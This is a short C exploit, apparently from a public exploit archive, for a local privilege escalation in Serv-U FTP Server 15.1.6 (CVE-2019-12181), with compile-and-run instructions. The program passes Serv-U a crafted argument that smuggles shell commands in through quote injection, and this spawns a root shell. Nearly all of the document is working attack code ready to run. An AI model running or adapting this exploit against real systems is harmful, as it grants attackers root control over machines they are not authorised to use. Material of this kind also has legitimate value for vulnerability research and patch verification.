Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)

/*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
}